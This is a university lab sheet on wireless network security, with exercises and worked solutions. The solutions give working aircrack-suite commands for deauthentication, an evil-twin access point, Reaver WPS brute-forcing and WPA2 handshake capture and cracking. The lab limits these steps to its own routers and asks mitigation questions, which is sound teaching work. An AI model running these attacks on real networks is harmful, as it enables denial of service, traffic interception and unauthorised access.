02233 Network Security
Assignments & Solutions: Wireless Security

19/03/2024

Some of the exercises in this lab require specific hardware making it difficult to replicate elsewhere: a network card with monitor mode or an external antenna, and fiddling with routers. If you have access to a network card with monitoring mode, try the WPA2 exercises on your router (most routers run WPA2-PSK), which combines all the lessons learned throughout this lab. Otherwise, you can come by the "Hacker-Lab" in building 322 where you can use Pineapple routers and other equipment.

This lab assumes that there are three parties: a WIFI router, an attacker device, and one victim device. You can use your telephone or a second computer as the victim by simply connecting it to the different networks. The WIFI routers are set up with two different networks: one open network and a WPA2-PSK network. The SSID of these networks starts with "NetSecLab". In addition, there is another router with WPS enabled for the first part of exercise 3.

DISCLAIMER

Conducting attacks on devices or networks you do not own or do not have permission to test is strictly illegal. You may likely break something unintentionally or get into trouble. Do not exploit any vulnerability on any other device but the ones in the routers we will use in this lab. If you find a vulnerability on your colleague's devices today, please let them know.

NOTE

Make groups of 3-5 people. Make sure at least one of you has an Android phone, and a computer with a network card that can be set to monitor mode. The following commands will tell you whether your network card supports monitor mode. If no one in the group supports monitor mode, come by us and we will lend you a pineapple antenna.

```
# On your Kali machine
sudo apt install wireless-tools
iwconfig
# Anotate the network interface you will change. If you get an "Inappropriate
↪  ioctl for device" error then your network card does not support monitor
↪  mode.
sudo iwconfig eth0 mode monitor
```

1 Wardriving

The term wardriving refers to collecting signals from the environment, a technique attackers use to collect broadcast information. Among others, this method is very useful to see how much information our devices are constantly transmitting and leaking over the air. From MAC addresses to security policies, and other device details, these signals pose a significant threat in the wrong hands. Today, we will use the Android application WiGLE to see how much and how valuable this information can be.

- Can you see the signals our routers are emitting?
- What kind of networks did you see?
- Can you identify the security policies they implement?
- Did you see any network with the same name and different MAC addresses? Take a 5 min walk around the building for this.

Solution

If you used WiGLE in class, you could have seen many different networks with names starting with "NetSecLab_" – those were the Pineapples used. Those used different policies: WPA2-PSK for the "Management" networks, and open (unsecured) for the "Open" ones.
Multiple networks with the same name (SSID) but different MAC addresses (BSSID) are used by networks attempting to cover a large area. This is because several physical devices are used to give access to same underlying network. Client devices are then able to roam and automatically switch between the two physical transmitters based on signal strength. In the context of DTU, this is for example *eduroam* and *DTUsecure*.

2 Open Wi-Fi

In this exercise, we will connect to an open WIFI network and attempt some of the most common attacks. The following points will help you understand the major security concerns of open networks and wireless attacks. Remember that if a host re-connects to the network they will probably be assigned a different IP.

Pineapple

If you are using a pineapple, you can connect to it through your browser on the address '. You can also connect through SSH to it using `ssh root@172.16.42.1`. We highly recommend the SSH connection, the web portal can be quite frustrating sometimes.

- Connect to the Open WIFI network and start Wireshark to capture the traffic (sniff on the interface "wlan0"). Annotate the information about the hosts that you see. You can also use "`airodump-ng`" to make this process a command-line only. Can you see any issue with the ongoing traffic? *Guide on how to enable monitor mode: https://www.inkyvoxel.com/how-to-enable-monitor-mode/.*

  Note for Mac users: you may need to capture (sniff) using the "`airport`" utility instead.

Solution

Wireshark allows us to analyse the ongoing traffic over a connected network. In addition, using Wireshark in promiscuous/monitor mode will also capture traffic in transit. Some alternatives to this method include "nmap" and "airodump-ng". Using airodump we can sniff BSSIDs and their clients, which gives a very comprehensive view of the network.

```
# Kill processes that interfere with putting an antenna/interface in
↪  monitor mode
airmon-ng check kill
# Start monitoring mode in wlan1 interface
airmon-ng start wlan1
# Monitor nearby networks
airodump-ng -c 10 wlan1mon --write bssids.txt
```

mac OS: Wireshark sometimes does not properly put the adapter into monitor mode, so we need to use the appropriate system utility (`airport`) to capture network traffic instead, where `en0` is the interface and `10` is the wireless channel:

```
cd /System/Library/PrivateFrameworks/Apple80211.framework/
./Versions/Current/Resources/airport en0 sniff 10
# Capturing 802.11 frames on en0.
# ^CSession saved to /tmp/airportSniffqGLhcb.cap.
```

After quitting with Ctrl-C, a `.cap` file will be saved into `/tmp`, from where it can be opened and analyzed in Wireshark.

- The next exercise is about performing a de-authentication attack **on selected targets**. The most simple use is a denial of service attack, but it can also be used to force victims to reconnect to rogue Access Points (APs), allowing attackers to capture credentials and force victims to install malicious software. For this, use "`aireplay-ng`" to de-authenticate your target.

  For Mac users: you will not be able to run the deauthentication attack on your computer. However, you can use the "`aireplay-ng`" on a WiFi Pineapple (again, you should connect to it through SSH) and proceed as if you were on a Linux machine.

Solution

Once we know our target BSSID and client, we can flood the router with de-authentication messages pretending to be the client. This can be done with the tool `aireplay-ng`. A word of notice, the re-authentication process is rather fast and difficult to catch for the naked eye. The output of the tool should give you an estimation of whether the victim has been de-authed.

```
# Start aireplay to deauthenticate our victim until we stop the
↪ program. To see if this is working, some of the output lines
↪ should have a high number between the brackets [XX|64], this
↪ indicates that some of the deauth requests have been accepted.
aireplay-ng --deauth 0 -c <Target MAC> -a <AP BSSID> wlan1mon
```

- **Bonus:** Now that you know how to temporarily de-authenticate your victim, we will push it to reconnect to our own AP. This is part of an "Evil Twin" attack, which is essentially a Man in the Middle (MITM) attack, giving the attacker access to all the traffic in transit. There are many ways to do this, but the simplest one is to create an AP with the same name as the original one and see if your victim connects to it.

Solution

You can create your own "hotspot" or Access Point (AP) using the tool "airbase-ng". The process is straightforward, as you will be copying an existing BSSID (MAC) and ESSID (name), creating an Evil Twin in the process. If your adapter supports it, you may want to tune up the signal strength of your antenna (the legal 2.4 GHz band limit in Europe is 20dBm).

```
# Start the evil twin AP
airbase-ng -a <BSSID> --essid <ESSID> -c 1 wlan1mon
# Tune up the signal power
iwconfig wlan1mon txpower 20
```

Try to answer these questions:

- Can you list two or three scenarios where this can be dangerous?
- What happens with encrypted connections?
- What can you do to make your evil twin method more reliable?
- What can victims do to prevent connecting to an evil twin?

Solution

i) Open networks are generally risky since anybody can access them and even sniff the ongoing traffic. This can lead to impersonation attacks, replay attacks, stealing credentials, packet injection and packet manipulation attacks, to name a few. Furthermore, the BSSID, ESSID and other AP details can easily be spoofed to obligate devices to join rogue APs.
ii) When a client connects to an Evil Twin, the attacker has access to all the ongoing traffic; this means that the attacker can manipulate requests, re-negotiate cryptos, decrypt data on transit, and even redirect clients to malicious sites.
iii) Evil Twins are clones of the original networks, with the "only difference" of offering a stronger signal. Therefore, attackers can block access to the original network and offer the Evil Twin as an alternative.
iv) Users can mitigate the threat of connecting to Evil Twins by simply not connecting to public, insecure or untrusted networks. While password-protected networks are not a definitive solution, the goal is to mitigate the likelihood of connecting to a rogue AP. Protected networks are more difficult to replicate since they require the attacker to know the password; yet again, this is feasible, and a dedicated attacker will go through the hassle. Another solution is to pipe connections through VPNs to make communications more secure.

3 WPS and WPA2-PSK

In the first part of this exercise, we will exploit the WPS protocol using commonly known tools. WPS is a feature in Wi-Fi routers that allows users to get easy access to the router without the need for a passphrase. The attack we will use is a variant of "*Pixie Dust*", which is implemented in multiple tools such as "Reaver" (here you can find some slides on it). Next, we will force our way into the network by cracking the WPA2 passphrases. *NOTE: Nowadays, the majority of Wi-Fi auditing tools come with cracking methods for all of these protocols.*

- Try to perform the WPS attack and find the PIN (this may take some time, you can continue with the next exercises). *NOTE: This will give you the passphrase for WPA2, but we will immediately forget about it. The goal of this exercise was to demonstrate that WPS can be brute-forced without any prior knowledge.*

Solution

We can use the tool Reaver to find a pin that allows us to connect to the network. The output shows WPS pins that are successfully being tried against the target.

```
# Install reaver
opkg update && opkg install reaver --dest sd
# Attack the WPA network with reaver
reaver -i wlan1mon -c 1 -b <AP BSSID> -vv
```

- Now is the time to combine the lessons you have learned. First, find the WPA2-PSK protected network you are going to target.

```
airodump-ng -c 10 wlan1mon --write bssids.txt
```

- Find a client connected to the target network (your telephone, for example). In parallel, start to capture the 4-way authentication handshake packets and de-authenticate your victim. This will force it to reauthenticate into the AP, giving us access to the handshake.

Solution

Using two terminals, in one start listening for clients connecting to the BSSID we have chosen. In the second terminal, de-authenticate a victim for a while (1 minute should be more than enough). This will cause it to re-authenticate constantly, and we will be able to capture the handshakes.

```
# Capture clients in the target network and write to a file named
↪ psk
airodump-ng -c 10 --bssid <BSSID> -w psk wlan1mon
# Deauthenticate some client
aireplay-ng --deauth 0 -a <BSSID> -c <Victim> wlan1mon
```

- Offline, crack the password for the network using "`aircrack-ng`" with the packets you just captured and a wordlist.

Solution

Finally, we can crack the password offline using "aircrack-ng" together with the help of a dictionary or list of words.

```
# Using the captured handshakes, attempt to crack the network
↪ offline using a dictionary. Note: You will need a list of
↪ passwords/dictionary/table for this to work.
aircrack-ng -w password.lst -b <BSSID> psk*.cap
```